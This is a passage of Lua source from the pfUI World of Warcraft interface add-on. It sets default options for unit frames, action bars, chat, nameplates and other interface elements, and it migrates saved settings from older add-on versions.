pfUI:UpdateConfig("unitframes", "ptarget", "buffs", "off") pfUI:UpdateConfig("unitframes", "ptarget", "buffsize", "16") pfUI:UpdateConfig("unitframes", "ptarget", "debuffs", "off") pfUI:UpdateConfig("unitframes", "ptarget", "debuffsize", "16") pfUI:UpdateConfig("unitframes", "ptarget", "txthpleft", "none") pfUI:UpdateConfig("unitframes", "ptarget", "txthpcenter", "name") pfUI:UpdateConfig("unitframes", "ptarget", "txthpright", "none") pfUI:UpdateConfig("unitframes", "ptarget", "overhealperc", "10") local ufs = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" } for _, unit in pairs(ufs) do pfUI:UpdateConfig("unitframes", unit, "visible", "1") pfUI:UpdateConfig("unitframes", unit, "showPVP", "0") pfUI:UpdateConfig("unitframes", unit, "raidicon", "1") pfUI:UpdateConfig("unitframes", unit, "leadericon", "1") pfUI:UpdateConfig("unitframes", unit, "looticon", "1") pfUI:UpdateConfig("unitframes", unit, "raidiconsize", "24") pfUI:UpdateConfig("unitframes", unit, "portrait", "bar") pfUI:UpdateConfig("unitframes", unit, "bartexture", "Interface\\AddOns\\pfUI\\img\\bar") pfUI:UpdateConfig("unitframes", unit, "width", "200") pfUI:UpdateConfig("unitframes", unit, "height", "46") pfUI:UpdateConfig("unitframes", unit, "pheight", "10") pfUI:UpdateConfig("unitframes", unit, "pwidth", "-1") pfUI:UpdateConfig("unitframes", unit, "panchor", "TOP") pfUI:UpdateConfig("unitframes", unit, "pspace", "-3") pfUI:UpdateConfig("unitframes", unit, "buffs", "TOPLEFT") pfUI:UpdateConfig("unitframes", unit, "buffsize", "20") pfUI:UpdateConfig("unitframes", unit, "bufflimit", "32") pfUI:UpdateConfig("unitframes", unit, "buffperrow", "8") pfUI:UpdateConfig("unitframes", unit, "debuffs", "TOPLEFT") pfUI:UpdateConfig("unitframes", unit, "debuffsize", "20") pfUI:UpdateConfig("unitframes", unit, "debufflimit", "32") pfUI:UpdateConfig("unitframes", unit, "debuffperrow", "8") pfUI:UpdateConfig("unitframes", unit, "invert_healthbar", "0") pfUI:UpdateConfig("unitframes", unit, "verticalbar", "0") pfUI:UpdateConfig("unitframes", unit, "buff_indicator", "0") pfUI:UpdateConfig("unitframes", unit, "debuff_indicator", "0") pfUI:UpdateConfig("unitframes", unit, "debuff_ind_pos", "CENTER") pfUI:UpdateConfig("unitframes", unit, "debuff_ind_size", ".65") pfUI:UpdateConfig("unitframes", unit, "debuff_ind_class", "1") pfUI:UpdateConfig("unitframes", unit, "show_buffs", "1") pfUI:UpdateConfig("unitframes", unit, "show_hots", "0") pfUI:UpdateConfig("unitframes", unit, "all_hots", "0") pfUI:UpdateConfig("unitframes", unit, "show_procs", "0") pfUI:UpdateConfig("unitframes", unit, "show_totems", "0") pfUI:UpdateConfig("unitframes", unit, "all_procs", "0") pfUI:UpdateConfig("unitframes", unit, "indicator_time", "1") pfUI:UpdateConfig("unitframes", unit, "indicator_stacks", "1") pfUI:UpdateConfig("unitframes", unit, "indicator_size", "10") pfUI:UpdateConfig("unitframes", unit, "clickcast", "0") pfUI:UpdateConfig("unitframes", unit, "faderange", "0") pfUI:UpdateConfig("unitframes", unit, "alpha_visible", "1") pfUI:UpdateConfig("unitframes", unit, "alpha_outrange", ".50") pfUI:UpdateConfig("unitframes", unit, "alpha_offline", ".25") pfUI:UpdateConfig("unitframes", unit, "glowaggro", "1") pfUI:UpdateConfig("unitframes", unit, "glowcombat", "1") pfUI:UpdateConfig("unitframes", unit, "showtooltip", "1") pfUI:UpdateConfig("unitframes", unit, "healthcolor", "1") pfUI:UpdateConfig("unitframes", unit, "powercolor", "1") pfUI:UpdateConfig("unitframes", unit, "levelcolor", "1") pfUI:UpdateConfig("unitframes", unit, "classcolor", "1") pfUI:UpdateConfig("unitframes", unit, "txthpleft", "unit") pfUI:UpdateConfig("unitframes", unit, "txthpcenter", "none") pfUI:UpdateConfig("unitframes", unit, "txthpright", "healthdyn") pfUI:UpdateConfig("unitframes", unit, "txtpowerleft", "none") pfUI:UpdateConfig("unitframes", unit, "txtpowercenter", "none") pfUI:UpdateConfig("unitframes", unit, "txtpowerright", "none") pfUI:UpdateConfig("unitframes", unit, "hitindicator", "0") pfUI:UpdateConfig("unitframes", unit, "hitindicatorsize", "15") pfUI:UpdateConfig("unitframes", unit, "hitindicatorfont", "Interface\\AddOns\\pfUI\\fonts\\Continuum.ttf") pfUI:UpdateConfig("unitframes", unit, "defcolor", "1") pfUI:UpdateConfig("unitframes", unit, "custom", "0") pfUI:UpdateConfig("unitframes", unit, "customfullhp", "0") pfUI:UpdateConfig("unitframes", unit, "customcolor", ".2,.2,.2,1") pfUI:UpdateConfig("unitframes", unit, "custombg", "0") pfUI:UpdateConfig("unitframes", unit, "custombgcolor", ".5,.2,.2,1") pfUI:UpdateConfig("unitframes", unit, "custompbg", "0") pfUI:UpdateConfig("unitframes", unit, "custompbgcolor", ".5,.2,.2,1") pfUI:UpdateConfig("unitframes", unit, "manacolor", ".5,.5,1,1") pfUI:UpdateConfig("unitframes", unit, "energycolor", "1,1,.5,1") pfUI:UpdateConfig("unitframes", unit, "ragecolor", "1,.5,.5,1") pfUI:UpdateConfig("unitframes", unit, "focuscolor", "1,1,.75,1") pfUI:UpdateConfig("unitframes", unit, "overhealperc", "20") end pfUI:UpdateConfig("bars", "bar1", "pageable", "1") pfUI:UpdateConfig("bars", "bar2", "pageable", "1") pfUI:UpdateConfig("bars", "bar1", "enable", "1") pfUI:UpdateConfig("bars", "bar3", "enable", "1") pfUI:UpdateConfig("bars", "bar4", "enable", "1") pfUI:UpdateConfig("bars", "bar5", "enable", "1") pfUI:UpdateConfig("bars", "bar6", "enable", "1") pfUI:UpdateConfig("bars", "bar11", "enable", "1") pfUI:UpdateConfig("bars", "bar12", "enable", "1") pfUI:UpdateConfig("bars", "bar3", "formfactor", "6 x 2") pfUI:UpdateConfig("bars", "bar5", "formfactor", "6 x 2") pfUI:UpdateConfig("bars", "bar4", "formfactor", "1 x 12") pfUI:UpdateConfig("bars", "bar11", "formfactor", "10 x 1") pfUI:UpdateConfig("bars", "bar12", "formfactor", "10 x 1") pfUI:UpdateConfig("bars", "bar11", "icon_size", "18") pfUI:UpdateConfig("bars", "bar12", "icon_size", "18") for i=1,12 do pfUI:UpdateConfig("bars", "bar"..i, "enable", "0") pfUI:UpdateConfig("bars", "bar"..i, "pageable", "0") pfUI:UpdateConfig("bars", "bar"..i, "icon_size", "20") pfUI:UpdateConfig("bars", "bar"..i, "spacing", "1") pfUI:UpdateConfig("bars", "bar"..i, "formfactor", "12 x 1") pfUI:UpdateConfig("bars", "bar"..i, "background", "1") pfUI:UpdateConfig("bars", "bar"..i, "showempty", "1") pfUI:UpdateConfig("bars", "bar"..i, "showmacro", "1") pfUI:UpdateConfig("bars", "bar"..i, "showkeybind", "1") pfUI:UpdateConfig("bars", "bar"..i, "showcount", "1") pfUI:UpdateConfig("bars", "bar"..i, "autohide", "0") pfUI:UpdateConfig("bars", "bar"..i, "hide_time", "3") if i ~= 11 and i ~= 12 then pfUI:UpdateConfig("bars", "bar"..i, "buttons", "12") end end pfUI:UpdateConfig("bars", nil, "keydown", "0") pfUI:UpdateConfig("bars", nil, "altself", "0") pfUI:UpdateConfig("bars", nil, "rightself", "0") pfUI:UpdateConfig("bars", nil, "animation", "zoomfade") pfUI:UpdateConfig("bars", nil, "animmode", "keypress") pfUI:UpdateConfig("bars", nil, "animalways", "0") pfUI:UpdateConfig("bars", nil, "reagents", "1") pfUI:UpdateConfig("bars", nil, "hunterbar", "0") pfUI:UpdateConfig("bars", nil, "pagemaster", "0") pfUI:UpdateConfig("bars", nil, "druidstealth", "0") pfUI:UpdateConfig("bars", nil, "showcastable", "1") pfUI:UpdateConfig("bars", nil, "glowrange", "1") pfUI:UpdateConfig("bars", nil, "rangecolor", "1,0.1,0.1,1") pfUI:UpdateConfig("bars", nil, "showoom", "1") pfUI:UpdateConfig("bars", nil, "oomcolor", ".2,.2,1,1") pfUI:UpdateConfig("bars", nil, "showna", "1") pfUI:UpdateConfig("bars", nil, "nacolor", ".3,.3,.3,1") pfUI:UpdateConfig("bars", nil, "showequipped", "1") pfUI:UpdateConfig("bars", nil, "eqcolor", ".2,.8,.2,.2") pfUI:UpdateConfig("bars", nil, "shiftdrag", "1") pfUI:UpdateConfig("bars", nil, "font", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf") pfUI:UpdateConfig("bars", nil, "font_offset", "0") pfUI:UpdateConfig("bars", nil, "macro_size", "9") pfUI:UpdateConfig("bars", nil, "macro_color", "1,1,1,1") pfUI:UpdateConfig("bars", nil, "count_size", "11") pfUI:UpdateConfig("bars", nil, "count_color", ".2,1,.8,1") pfUI:UpdateConfig("bars", nil, "bind_size", "8") pfUI:UpdateConfig("bars", nil, "bind_color", "1,1,0,1") pfUI:UpdateConfig("totems", nil, "direction", "HORIZONTAL") pfUI:UpdateConfig("totems", nil, "iconsize", "26") pfUI:UpdateConfig("totems", nil, "spacing", "3") pfUI:UpdateConfig("totems", nil, "showbg", "0") pfUI:UpdateConfig("panel", nil, "use_unitfonts", "0") pfUI:UpdateConfig("panel", nil, "hide_leftchat", "0") pfUI:UpdateConfig("panel", nil, "hide_rightchat", "0") pfUI:UpdateConfig("panel", nil, "hide_minimap", "0") pfUI:UpdateConfig("panel", nil, "hide_microbar", "0") pfUI:UpdateConfig("panel", "left", "left", "guild") pfUI:UpdateConfig("panel", "left", "center", "durability") pfUI:UpdateConfig("panel", "left", "right", "friends") pfUI:UpdateConfig("panel", "right", "left", "fps") pfUI:UpdateConfig("panel", "right", "center", "time") pfUI:UpdateConfig("panel", "right", "right", "gold") pfUI:UpdateConfig("panel", "other", "minimap", "zone") pfUI:UpdateConfig("panel", "micro", "enable", "0") pfUI:UpdateConfig("panel", "bag", "ignorespecial", "1") pfUI:UpdateConfig("panel", "xp", "xp_always", "0") pfUI:UpdateConfig("panel", "xp", "xp_timeout", "5") pfUI:UpdateConfig("panel", "xp", "xp_width", "5") pfUI:UpdateConfig("panel", "xp", "xp_height", "5") pfUI:UpdateConfig("panel", "xp", "xp_mode", "VERTICAL") pfUI:UpdateConfig("panel", "xp", "xp_anchor", "pfChatLeft") pfUI:UpdateConfig("panel", "xp", "xp_position", "RIGHT") pfUI:UpdateConfig("panel", "xp", "xp_color", ".25,.25,1,1") pfUI:UpdateConfig("panel", "xp", "rest_color", "1,.25,1,.5") pfUI:UpdateConfig("panel", "xp", "rep_always", "0") pfUI:UpdateConfig("panel", "xp", "rep_timeout", "5") pfUI:UpdateConfig("panel", "xp", "rep_width", "5") pfUI:UpdateConfig("panel", "xp", "rep_height", "5") pfUI:UpdateConfig("panel", "xp", "rep_mode", "VERTICAL") pfUI:UpdateConfig("panel", "xp", "rep_anchor", "pfChatRight") pfUI:UpdateConfig("panel", "xp", "rep_position", "LEFT") pfUI:UpdateConfig("castbar", "player", "hide_blizz", "1") pfUI:UpdateConfig("castbar", "player", "hide_pfui", "0") pfUI:UpdateConfig("castbar", "player", "width", "-1") pfUI:UpdateConfig("castbar", "player", "height", "-1") pfUI:UpdateConfig("castbar", "player", "showicon", "0") pfUI:UpdateConfig("castbar", "player", "showlag", "0") pfUI:UpdateConfig("castbar", "player", "showrank", "0") pfUI:UpdateConfig("castbar", "target", "hide_pfui", "0") pfUI:UpdateConfig("castbar", "target", "width", "-1") pfUI:UpdateConfig("castbar", "target", "height", "-1") pfUI:UpdateConfig("castbar", "target", "showicon", "0") pfUI:UpdateConfig("castbar", "target", "showlag", "0") pfUI:UpdateConfig("castbar", "target", "showrank", "0") pfUI:UpdateConfig("castbar", "focus", "hide_pfui", "0") pfUI:UpdateConfig("castbar", "focus", "width", "-1") pfUI:UpdateConfig("castbar", "focus", "height", "-1") pfUI:UpdateConfig("castbar", "focus", "showicon", "0") pfUI:UpdateConfig("castbar", "focus", "showlag", "0") pfUI:UpdateConfig("castbar", "focus", "showrank", "0") pfUI:UpdateConfig("castbar", nil, "use_unitfonts", "0") pfUI:UpdateConfig("tooltip", nil, "position", "chat") pfUI:UpdateConfig("tooltip", nil, "cursoralign", "native") pfUI:UpdateConfig("tooltip", nil, "cursoroffset", "20") pfUI:UpdateConfig("tooltip", nil, "extguild", "1") pfUI:UpdateConfig("tooltip", nil, "itemid", "0") pfUI:UpdateConfig("tooltip", nil, "alpha", "0.8") pfUI:UpdateConfig("tooltip", nil, "alwaysperc", "0") pfUI:UpdateConfig("tooltip", "compare", "basestats", "1") pfUI:UpdateConfig("tooltip", "compare", "showalways", "0") pfUI:UpdateConfig("tooltip", "vendor", "showalways", "0") pfUI:UpdateConfig("tooltip", "statusbar", "texture", "Interface\\AddOns\\pfUI\\img\\bar") pfUI:UpdateConfig("chat", "text", "input_width", "0") pfUI:UpdateConfig("chat", "text", "input_height", "0") pfUI:UpdateConfig("chat", "text", "outline", "1") pfUI:UpdateConfig("chat", "text", "mouseover", "0") pfUI:UpdateConfig("chat", "text", "bracket", "[]") pfUI:UpdateConfig("chat", "text", "time", "0") pfUI:UpdateConfig("chat", "text", "timeformat", "%H:%M:%S") pfUI:UpdateConfig("chat", "text", "timebracket", "[]") pfUI:UpdateConfig("chat", "text", "timecolor", ".8,.8,.8,1") pfUI:UpdateConfig("chat", "text", "tintunknown", "1") pfUI:UpdateConfig("chat", "text", "unknowncolor", ".7,.7,.7,1") pfUI:UpdateConfig("chat", "text", "channelnumonly", "1") pfUI:UpdateConfig("chat", "text", "playerlinks", "1") pfUI:UpdateConfig("chat", "text", "detecturl", "1") pfUI:UpdateConfig("chat", "text", "classcolor", "1") pfUI:UpdateConfig("chat", "left", "width", "380") pfUI:UpdateConfig("chat", "left", "height", "180") pfUI:UpdateConfig("chat", "right", "enable", "0") pfUI:UpdateConfig("chat", "right", "alwaysshow", "0") pfUI:UpdateConfig("chat", "right", "width", "380") pfUI:UpdateConfig("chat", "right", "height", "180") pfUI:UpdateConfig("chat", "global", "hidecombat", "0") pfUI:UpdateConfig("chat", "global", "tabdock", "0") pfUI:UpdateConfig("chat", "global", "tabmouse", "0") pfUI:UpdateConfig("chat", "global", "chatflash", "1") pfUI:UpdateConfig("chat", "global", "frameshadow", "1") pfUI:UpdateConfig("chat", "global", "custombg", "0") pfUI:UpdateConfig("chat", "global", "background", ".2,.2,.2,.5") pfUI:UpdateConfig("chat", "global", "border", ".4,.4,.4,.5") pfUI:UpdateConfig("chat", "global", "whispermod", "1") pfUI:UpdateConfig("chat", "global", "whisper", "1,.7,1,1") pfUI:UpdateConfig("chat", "global", "sticky", "1") pfUI:UpdateConfig("chat", "global", "fadeout", "0") pfUI:UpdateConfig("chat", "global", "fadetime", "300") pfUI:UpdateConfig("chat", "global", "scrollspeed", "1") pfUI:UpdateConfig("chat", "bubbles", "alpha", ".75") pfUI:UpdateConfig("nameplates", nil, "showhostile", "1") pfUI:UpdateConfig("nameplates", nil, "showfriendly", "0") pfUI:UpdateConfig("nameplates", nil, "use_unitfonts", "0") pfUI:UpdateConfig("nameplates", nil, "legacy", "0") pfUI:UpdateConfig("nameplates", nil, "overlap", "0") pfUI:UpdateConfig("nameplates", nil, "showcastbar", "1") pfUI:UpdateConfig("nameplates", nil, "spellname", "0") pfUI:UpdateConfig("nameplates", nil, "showdebuffs", "1") pfUI:UpdateConfig("nameplates", nil, "guessdebuffs", "1") pfUI:UpdateConfig("nameplates", nil, "clickthrough", "0") pfUI:UpdateConfig("nameplates", nil, "rightclick", "1") pfUI:UpdateConfig("nameplates", nil, "clickthreshold", "0.5") pfUI:UpdateConfig("nameplates", nil, "enemyclassc", "1") pfUI:UpdateConfig("nameplates", nil, "friendclassc", "1") pfUI:UpdateConfig("nameplates", nil, "raidiconsize", "16") pfUI:UpdateConfig("nameplates", nil, "fullhealth", "1") pfUI:UpdateConfig("nameplates", nil, "target", "1") pfUI:UpdateConfig("nameplates", nil, "enemynpc", "0") pfUI:UpdateConfig("nameplates", nil, "enemyplayer", "0") pfUI:UpdateConfig("nameplates", nil, "neutralnpc", "0") pfUI:UpdateConfig("nameplates", nil, "friendlynpc", "0") pfUI:UpdateConfig("nameplates", nil, "friendlyplayer", "0") pfUI:UpdateConfig("nameplates", nil, "critters", "1") pfUI:UpdateConfig("nameplates", nil, "totems", "1") pfUI:UpdateConfig("nameplates", nil, "showhp", "0") pfUI:UpdateConfig("nameplates", nil, "alwaysperc", "0") pfUI:UpdateConfig("nameplates", nil, "vpos", "-10") pfUI:UpdateConfig("nameplates", nil, "width", "120") pfUI:UpdateConfig("nameplates", nil, "debuffsize", "14") pfUI:UpdateConfig("nameplates", nil, "heighthealth", "8") pfUI:UpdateConfig("nameplates", nil, "heightcast", "8") pfUI:UpdateConfig("nameplates", nil, "cpdisplay", "0") pfUI:UpdateConfig("nameplates", nil, "targethighlight", "0") pfUI:UpdateConfig("nameplates", nil, "targetglow", "1") pfUI:UpdateConfig("nameplates", nil, "glowcolor", "1,1,1,1") pfUI:UpdateConfig("nameplates", nil, "targetzoom", "0") pfUI:UpdateConfig("nameplates", nil, "notargalpha", ".75") pfUI:UpdateConfig("nameplates", nil, "healthtexture", "Interface\\AddOns\\pfUI\\img\\bar") pfUI:UpdateConfig("nameplates", "name", "fontstyle", "OUTLINE") pfUI:UpdateConfig("nameplates", "health", "offset", "-3") pfUI:UpdateConfig("nameplates", "debuffs", "filter", "none") pfUI:UpdateConfig("nameplates", "debuffs", "whitelist", "") pfUI:UpdateConfig("nameplates", "debuffs", "blacklist", "") pfUI:UpdateConfig("abuttons", nil, "enable", "0") pfUI:UpdateConfig("abuttons", nil, "position", "bottom") pfUI:UpdateConfig("abuttons", nil, "showdefault", "0") pfUI:UpdateConfig("abuttons", nil, "rowsize", "6") pfUI:UpdateConfig("abuttons", nil, "spacing", "2") pfUI:UpdateConfig("abuttons", nil, "hideincombat", "1") pfUI:UpdateConfig("screenshot", nil, "interval", "0") pfUI:UpdateConfig("screenshot", nil, "levelup", "1") pfUI:UpdateConfig("screenshot", nil, "pvprank", "1") pfUI:UpdateConfig("screenshot", nil, "faction", "1") pfUI:UpdateConfig("screenshot", nil, "battleground", "0") pfUI:UpdateConfig("screenshot", nil, "hk", "0") pfUI:UpdateConfig("screenshot", nil, "loot", "0") pfUI:UpdateConfig("screenshot", nil, "hideui", "0") pfUI:UpdateConfig("screenshot", nil, "caption", "0") pfUI:UpdateConfig("screenshot", nil, "caption_font", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf") pfUI:UpdateConfig("screenshot", nil, "caption_size", "22") pfUI:UpdateConfig("gm", nil, "disable", "1") pfUI:UpdateConfig("gm", nil, "server", "elysium") pfUI:UpdateConfig("questlog", nil, "showQuestLevels", "0") pfUI:UpdateConfig("thirdparty", nil, "chatbg", "1") pfUI:UpdateConfig("thirdparty", nil, "showmeter", "0") pfUI:UpdateConfig("thirdparty", "dpsmate", "skin", "1") pfUI:UpdateConfig("thirdparty", "dpsmate", "dock", "1") pfUI:UpdateConfig("thirdparty", "swstats", "skin", "1") pfUI:UpdateConfig("thirdparty", "swstats", "dock", "1") pfUI:UpdateConfig("thirdparty", "ktm", "skin", "1") pfUI:UpdateConfig("thirdparty", "ktm", "dock", "1") pfUI:UpdateConfig("thirdparty", "wim", "enable", "1") pfUI:UpdateConfig("thirdparty", "healcomm", "enable", "1") pfUI:UpdateConfig("thirdparty", "sortbags", "enable", "1") pfUI:UpdateConfig("thirdparty", "mrplow", "enable", "1") pfUI:UpdateConfig("thirdparty", "flightmap", "enable", "1") pfUI:UpdateConfig("thirdparty", "theorycraft", "enable", "1") pfUI:UpdateConfig("thirdparty", "supermacro", "enable", "1") pfUI:UpdateConfig("thirdparty", "atlasloot", "enable", "1") pfUI:UpdateConfig("thirdparty", "myroleplay", "enable", "1") pfUI:UpdateConfig("thirdparty", "druidmana", "enable", "1") pfUI:UpdateConfig("thirdparty", "noteit", "enable", "1") pfUI:UpdateConfig("thirdparty", "recount", "skin", "1") pfUI:UpdateConfig("thirdparty", "recount", "dock", "1") pfUI:UpdateConfig("thirdparty", "omen", "skin", "1") pfUI:UpdateConfig("thirdparty", "omen", "dock", "1") pfUI:UpdateConfig("position", nil, nil, nil) pfUI:UpdateConfig("disabled", nil, nil, nil) end function pfUI:MigrateConfig() -- migrating to new fonts (1.5 -> 1.6) if checkversion(1, 6, 0) then -- migrate font_default if pfUI_config.global.font_default == "arial" then pfUI_config.global.font_default = "Myriad-Pro" elseif pfUI_config.global.font_default == "homespun" then pfUI_config.global.font_default = "Homespun" elseif pfUI_config.global.font_default == "diediedie" then pfUI_config.global.font_default = "DieDieDie" end -- migrate font_square if pfUI_config.global.font_square == "arial" then pfUI_config.global.font_square = "Myriad-Pro" elseif pfUI_config.global.font_square == "homespun" then pfUI_config.global.font_square = "Homespun" elseif pfUI_config.global.font_square == "diediedie" then pfUI_config.global.font_square = "DieDieDie" end -- migrate font_combat if pfUI_config.global.font_combat == "arial" then pfUI_config.global.font_combat = "Myriad-Pro" elseif pfUI_config.global.font_combat == "homespun" then pfUI_config.global.font_combat = "Homespun" elseif pfUI_config.global.font_combat == "diediedie" then pfUI_config.global.font_combat = "DieDieDie" end end -- migrating to new loot config section (> 2.0.5) if checkversion(2, 0, 5) then if pfUI_config.appearance.loot and pfUI_config.appearance.loot.autoresize then pfUI_config.loot.autoresize = pfUI_config.appearance.loot.autoresize pfUI_config.appearance.loot.autoresize = nil pfUI_config.appearance.loot = nil end end -- migrating to new unitframes (> 2.5) if checkversion(2, 5, 0) then -- migrate clickcast settings if pfUI_config.unitframes.raid.clickcast_ctrl then pfUI_config.unitframes.clickcast = pfUI_config.unitframes.raid.clickcast pfUI_config.unitframes.clickcast_shift = pfUI_config.unitframes.raid.clickcast_shift pfUI_config.unitframes.clickcast_alt = pfUI_config.unitframes.raid.clickcast_alt pfUI_config.unitframes.clickcast_ctrl = pfUI_config.unitframes.raid.clickcast_ctrl pfUI_config.unitframes.raid.clickcast = "0" pfUI_config.unitframes.raid.clickcast_shift = nil pfUI_config.unitframes.raid.clickcast_alt = nil pfUI_config.unitframes.raid.clickcast_ctrl = nil end -- migrate buffsizes if pfUI_config.unitframes.buff_size then pfUI_config.unitframes.player.buffsize = pfUI_config.unitframes.buff_size pfUI_config.unitframes.target.buffsize = pfUI_config.unitframes.buff_size pfUI_config.unitframes.buff_size = nil end -- migrate debuffsizes if pfUI_config.unitframes.debuff_size then pfUI_config.unitframes.player.debuffsize = pfUI_config.unitframes.debuff_size pfUI_config.unitframes.target.debuffsize = pfUI_config.unitframes.debuff_size pfUI_config.unitframes.debuff_size = nil end end -- migrating to new fontnames (> 2.6) if checkversion(2, 6, 0) then -- migrate font_combat if pfUI_config.global.font_square then pfUI_config.global.font_unit = pfUI_config.global.font_square pfUI_config.global.font_square = nil end end -- migrating old to new font layout (> 3.0.0) if checkversion(3, 0, 0) then -- migrate font_default if not strfind(pfUI_config.global.font_default, "\\") then pfUI_config.global.font_default = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_default .. ".ttf" end -- migrate font_unit if not strfind(pfUI_config.global.font_unit, "\\") then pfUI_config.global.font_unit = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_unit .. ".ttf" end -- migrate font_combat if not strfind(pfUI_config.global.font_combat, "\\") then pfUI_config.global.font_combat = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_combat .. ".ttf" end end -- migrating old to new unitframe texts (> 3.0.0) if checkversion(3, 0, 0) then local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" } for _, unitframe in pairs(unitframes) do if pfUI_config.unitframes[unitframe].txtleft then pfUI_config.unitframes[unitframe].txthpleft = pfUI_config.unitframes[unitframe].txtleft pfUI_config.unitframes[unitframe].txtleft = nil end if pfUI_config.unitframes[unitframe].txtcenter then pfUI_config.unitframes[unitframe].txthpcenter = pfUI_config.unitframes[unitframe].txtcenter pfUI_config.unitframes[unitframe].txtcenter = nil end if pfUI_config.unitframes[unitframe].txtright then pfUI_config.unitframes[unitframe].txthpright = pfUI_config.unitframes[unitframe].txtright pfUI_config.unitframes[unitframe].txtright = nil end end end -- migrating animation_speed (> 3.1.2) if checkversion(3, 1, 2) then if tonumber(pfUI_config.unitframes.animation_speed) >= 13 then pfUI_config.unitframes.animation_speed = "13" elseif tonumber(pfUI_config.unitframes.animation_speed) >= 8 then pfUI_config.unitframes.animation_speed = "8" elseif tonumber(pfUI_config.unitframes.animation_speed) >= 5 then pfUI_config.unitframes.animation_speed = "5" elseif tonumber(pfUI_config.unitframes.animation_speed) >= 3 then pfUI_config.unitframes.animation_speed = "3" elseif tonumber(pfUI_config.unitframes.animation_speed) >= 2 then pfUI_config.unitframes.animation_speed = "2" elseif tonumber(pfUI_config.unitframes.animation_speed) >= 1 then pfUI_config.unitframes.animation_speed = "1" else pfUI_config.unitframes.animation_speed = "5" end end -- migrating rangecheck interval (> 3.2.2) if checkversion(3, 2, 2) then if tonumber(pfUI_config.unitframes.rangechecki) <= 1 then pfUI_config.unitframes.rangechecki = "2" end end -- migrating legacy buff/debuff naming (> 3.5.0) if checkversion(3, 5, 0) then local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" } for _, unitframe in pairs(unitframes) do local entry = pfUI_config.unitframes[unitframe] if entry.buffs and entry.buffs == "hide" then entry.buffs = "off" end if entry.debuffs and entry.debuffs == "hide" then entry.debuffs = "off" end end end -- migrating glow settings (> 3.5.1) if checkversion(3, 5, 0) then local common = { "player", "target", "ttarget", "pet", "ptarget", "tttarget"} for _, unitframe in pairs(common) do if pfUI_config.appearance.infight.group == "1" then pfUI_config.unitframes[unitframe].glowcombat = "1" pfUI_config.unitframes[unitframe].glowaggro = "1" elseif pfUI_config.appearance.infight.group == "0" then pfUI_config.unitframes[unitframe].glowcombat = "0" pfUI_config.unitframes[unitframe].glowaggro = "0" end end if pfUI_config.appearance.infight.group == "1" then pfUI_config.unitframes["group"].glowcombat = "1" pfUI_config.unitframes["group"].glowaggro = "1" elseif pfUI_config.appearance.infight.group == "0" then pfUI_config.unitframes["group"].glowcombat = "0" pfUI_config.unitframes["group"].glowaggro = "0" end end -- migrating old buff settings (> 3.6.1) if checkversion(3, 6, 1) then pfUI_config.buffs.weapons = pfUI_config.global.hidewbuff == "1" and "0" or "1" pfUI_config.buffs.buffs = pfUI_config.global.hidebuff == "1" and "0" or "1" pfUI_config.buffs.debuffs = pfUI_config.global.hidebuff == "1" and "0" or "1" end -- migrating default debuffbar color settings (> 3.16) if checkversion(3, 16, 0) then if pfUI_config.buffbar.pdebuff.color == ".1,.1,.1,1" then pfUI_config.buffbar.pdebuff.color = ".8,.4,.4,1" end if pfUI_config.buffbar.tdebuff.color == ".1,.1,.1,1" then pfUI_config.buffbar.tdebuff.color = ".8,.4,.4,1" end end -- migrate buff/debuff position settings (> 3.19) if checkversion(3, 19, 0) then local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" } for _, unitframe in pairs(unitframes) do local entry = pfUI_config.unitframes[unitframe] if entry.buffs and entry.buffs == "top" then entry.buffs = "TOPLEFT" end if entry.buffs and entry.buffs == "bottom" then entry.buffs = "BOTTOMLEFT" end if entry.debuffs and entry.debuffs == "top" then entry.debuffs = "TOPLEFT" end if entry.debuffs and entry.debuffs == "bottom" then entry.debuffs = "BOTTOMLEFT" end end end -- migrating actionbar settings (> 3.19) if checkversion(3, 19, 0) then local migratebars = { ["pfBarActionMain"] = "pfActionBarMain", ["pfBarBottomLeft"] = "pfActionBarTop", ["pfBarBottomRight"] = "pfActionBarLeft", ["pfBarTwoRight"] = "pfActionBarVertical", ["pfBarRight"] = "pfActionBarRight", ["pfBarShapeshift"] = "pfActionBarStances", ["pfBarPet"] = "pfActionBarPet", } -- migrate bar positions and scaling for oldname, newname in pairs(migratebars) do if pfUI_config.position[oldname] then pfUI_config.position[newname] = pfUI.api.CopyTable(pfUI_config.position[oldname]) pfUI_config.position[oldname] = nil end end -- migrate global settings to bar specifics for i=1,12 do if pfUI_config.bars.icon_size then pfUI_config.bars["bar"..i].icon_size = pfUI_config.bars.icon_size end if pfUI_config.bars.background then pfUI_config.bars["bar"..i].background = pfUI_config.bars.background end if pfUI_config.bars.showmacro then pfUI_config.bars["bar"..i].showmacro = pfUI_config.bars.showmacro end if pfUI_config.bars.showkeybind then pfUI_config.bars["bar"..i].showkeybind = pfUI_config.bars.showkeybind end if pfUI_config.bars.hide_time then pfUI_config.bars["bar"..i].hide_time = pfUI_config.bars.hide_time end end pfUI_config.bars.icon_size = nil pfUI_config.bars.background = nil pfUI_config.bars.showmacro = nil pfUI_config.bars.showkeybind = nil pfUI_config.bars.hide_time = nil if pfUI_config.bars.hide_actionmain then pfUI_config.bars.bar1.autohide = pfUI_config.bars.hide_actionmain pfUI_config.bars.hide_actionmain = nil end if pfUI_config.bars.hide_bottomleft then pfUI_config.bars.bar6.autohide = pfUI_config.bars.hide_bottomleft pfUI_config.bars.hide_bottomleft = nil end if pfUI_config.bars.hide_bottomright then pfUI_config.bars.bar5.autohide = pfUI_config.bars.hide_bottomright pfUI_config.bars.hide_bottomright = nil end if pfUI_config.bars.hide_right then pfUI_config.bars.bar3.autohide = pfUI_config.bars.hide_right pfUI_config.bars.hide_right = nil end if pfUI_config.bars.hide_tworight then pfUI_config.bars.bar4.autohide = pfUI_config.bars.hide_tworight pfUI_config.bars.hide_tworight = nil end if pfUI_config.bars.hide_shapeshift then pfUI_config.bars.bar11.autohide = 